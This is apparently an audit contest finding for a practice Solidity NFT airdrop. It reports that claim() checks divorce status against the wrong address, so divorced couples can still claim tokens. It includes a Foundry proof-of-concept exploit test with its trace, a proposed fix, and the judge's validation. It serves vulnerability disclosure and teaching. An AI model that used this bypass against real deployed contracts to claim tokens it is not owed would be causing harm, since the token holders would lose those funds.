Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Divorced couples can claim the airdrop

Summary

Divorced 'soulmates' can claim the airdrops.

Vulnerability Details

Wrong 'if' statement in 'claim()' of 'airdropContract' which makes the 'address(airdropContract)' to be checked wether 'isDivorced()' instead of 'msg.sender' as it should and therefore never reverts.

if (soulmateContract.isDivorced()) revert Airdrop__CoupleIsDivorced();

Impact

There is no condition statement to claim the airdrops.

POC

function test_soulmate() public {
start= block.timestamp;
vm.prank(soulmate1);
soulmateContract.mintSoulmateToken();
vm.prank(soulmate2);
soulmateContract.mintSoulmateToken();
vm.prank(soulmate3);
soulmateContract.mintSoulmateToken();
vm.prank(soulmate4);
soulmateContract.mintSoulmateToken();
vm.warp(start+30 days);
vm.startPrank(soulmate1);
soulmateContract.getDivorced();
assertTrue (soulmateContract.isDivorced());
vm.stopPrank();
vm.prank(soulmate2);
assertTrue (soulmateContract.isDivorced());
vm.deal(soulmate1, 1 ether);
vm.startPrank(soulmate1);
airdropContract.claim();
emit balance(soulmate1, loveToken.balanceOf(soulmate1));
vm.stopPrank();
}
├─ [70351] 0xa5906e11c3b7F5B832bcBf389295D44e7695b4A6::claim()
│ ├─ [2406] Soulmate::isDivorced() [staticcall]
│ │ └─ ← false
│ ├─ [585] Soulmate::ownerToId(soulmate1: [0x65629adcc2F9C857Aeb285100Cc00Fb41E78DC2f])
│ │ └─ ← 0
│ ├─ [571] Soulmate::idToCreationTimestamp(0)
│ │ └─ ← 1
│ ├─ [293] LoveToken::decimals()
│ │ └─ ← 18
│ ├─ [293] LoveToken::decimals()
│ │ └─ ← 18
│ ├─ [2586] LoveToken::balanceOf(Vault: [0x8Ad159a275AEE56fb2334DBb69036E9c7baCEe9b])
│ │ └─ ← 500000000000000000000000000 [5e26]
│ ├─ emit TokenClaimed(user: soulmate1: [0x65629adcc2F9C857Aeb285100Cc00Fb41E78DC2f], amount: 30000000000000000000 [3e19])
│ ├─ [33184] LoveToken::transferFrom(Vault: [0x8Ad159a275AEE56fb2334DBb69036E9c7baCEe9b], soulmate1: [0x65629adcc2F9C857Aeb285100Cc00Fb41E78DC2f], 30000000000000000000 [3e19])
│ │ ├─ emit Transfer(from: Vault: [0x8Ad159a275AEE56fb2334DBb69036E9c7baCEe9b], to: soulmate1: [0x65629adcc2F9C857Aeb285100Cc00Fb41E78DC2f], amount: 30000000000000000000 [3e19])
│ │ └─ ← 0x0000000000000000000000000000000000000000000000000000000000000001
│ └─ ← ()
├─ [586] LoveToken::balanceOf(soulmate1: [0x65629adcc2F9C857Aeb285100Cc00Fb41E78DC2f]) [staticcall]
│ └─ ← 30000000000000000000 [3e19]
├─ emit balance(: soulmate1: [0x65629adcc2F9C857Aeb285100Cc00Fb41E78DC2f], : 30000000000000000000 [3e19])
├─ [0] VM::stopPrank()
│ └─ ← ()
└─ ← ()

Tools Used

Foundry

Recommendations

'on contract Soulmate'

- function isDivorced() public returns (bool) {
- return divorced[msg.sender];}
+ function isDivorced(address soul) public returns (bool) {
+ return divorced[soul];
}

'on interface ISoulmate'

- function isDivorced() external view returns (bool);
+ function isDivorced(address) external view returns (bool);

'on contract Airdrop'

- if (soulmateContract.isDivorced()) revert Airdrop__CoupleIsDivorced();
+ if (soulmateContract.isDivorced(msg.sender)) revert Airdrop__CoupleIsDivorced();

'POC'

function test_soulmate() public {
start= block.timestamp;
vm.prank(soulmate1);
soulmateContract.mintSoulmateToken();
vm.prank(soulmate2);
soulmateContract.mintSoulmateToken();
vm.warp(start+30 days);
vm.startPrank(soulmate1);
soulmateContract.getDivorced();
assertTrue (soulmateContract.isDivorced(soulmate1));
vm.stopPrank();
vm.prank(soulmate2);
assertTrue (soulmateContract.isDivorced(soulmate2));
vm.startPrank(soulmate1);
airdropContract.claim();
vm.stopPrank();
}
[264073] AirdropT::test_soulmate()
├─ [0] VM::prank(soulmate1: [0x65629adcc2F9C857Aeb285100Cc00Fb41E78DC2f])
│ └─ ← ()
├─ [33015] Soulmate::mintSoulmateToken()
│ ├─ emit SoulmateIsWaiting(soulmate: soulmate1: [0x65629adcc2F9C857Aeb285100Cc00Fb41E78DC2f])
│ └─ ← 0
├─ [0] VM::prank(0x0000000000000000000000000000000000000002)
│ └─ ← ()
├─ [157343] Soulmate::mintSoulmateToken()
│ ├─ emit SoulmateAreReunited(soulmate1: soulmate1: [0x65629adcc2F9C857Aeb285100Cc00Fb41E78DC2f], soulmate2: 0x0000000000000000000000000000000000000000, tokenId: 0)
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: 0x0000000000000000000000000000000000000002, id: 0)
│ └─ ← 0
├─ [0] VM::warp(2592001 [2.592e6])
│ └─ ← ()
├─ [0] VM::startPrank(soulmate1: [0x65629adcc2F9C857Aeb285100Cc00Fb41E78DC2f])
│ └─ ← ()
├─ [46388] Soulmate::getDivorced()
│ ├─ emit CoupleHasDivorced(soulmate1: soulmate1: [0x65629adcc2F9C857Aeb285100Cc00Fb41E78DC2f], soulmate2: 0x0000000000000000000000000000000000000002)
│ └─ ← ()
├─ [650] Soulmate::isDivorced(soulmate1: [0x65629adcc2F9C857Aeb285100Cc00Fb41E78DC2f])
│ └─ ← true
├─ [0] VM::stopPrank()
│ └─ ← ()
├─ [0] VM::prank(0x0000000000000000000000000000000000000002)
│ └─ ← ()
├─ [650] Soulmate::isDivorced(0x0000000000000000000000000000000000000002)
│ └─ ← true
├─ [0] VM::startPrank(soulmate1: [0x65629adcc2F9C857Aeb285100Cc00Fb41E78DC2f])
│ └─ ← ()
├─ [1291] 0xa5906e11c3b7F5B832bcBf389295D44e7695b4A6::claim()
│ ├─ [650] Soulmate::isDivorced(soulmate1: [0x65629adcc2F9C857Aeb285100Cc00Fb41E78DC2f]) [staticcall]
│ │ └─ ← true
│ └─ ← 0x525c0683
└─ ← 0x525c0683
Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 6.22ms
Ran 1 test suites: 0 tests passed, 1 failed, 0 skipped (1 total tests)
Failing tests:
Encountered 1 failing test in test/4th05_2.t.sol:AirdropT
[FAIL. Reason: Airdrop__CoupleIsDivorced()] test_soulmate() (gas: 264073)
Updates

Lead Judging Commences

0xnevi Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-isDivorced-wrong-check

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.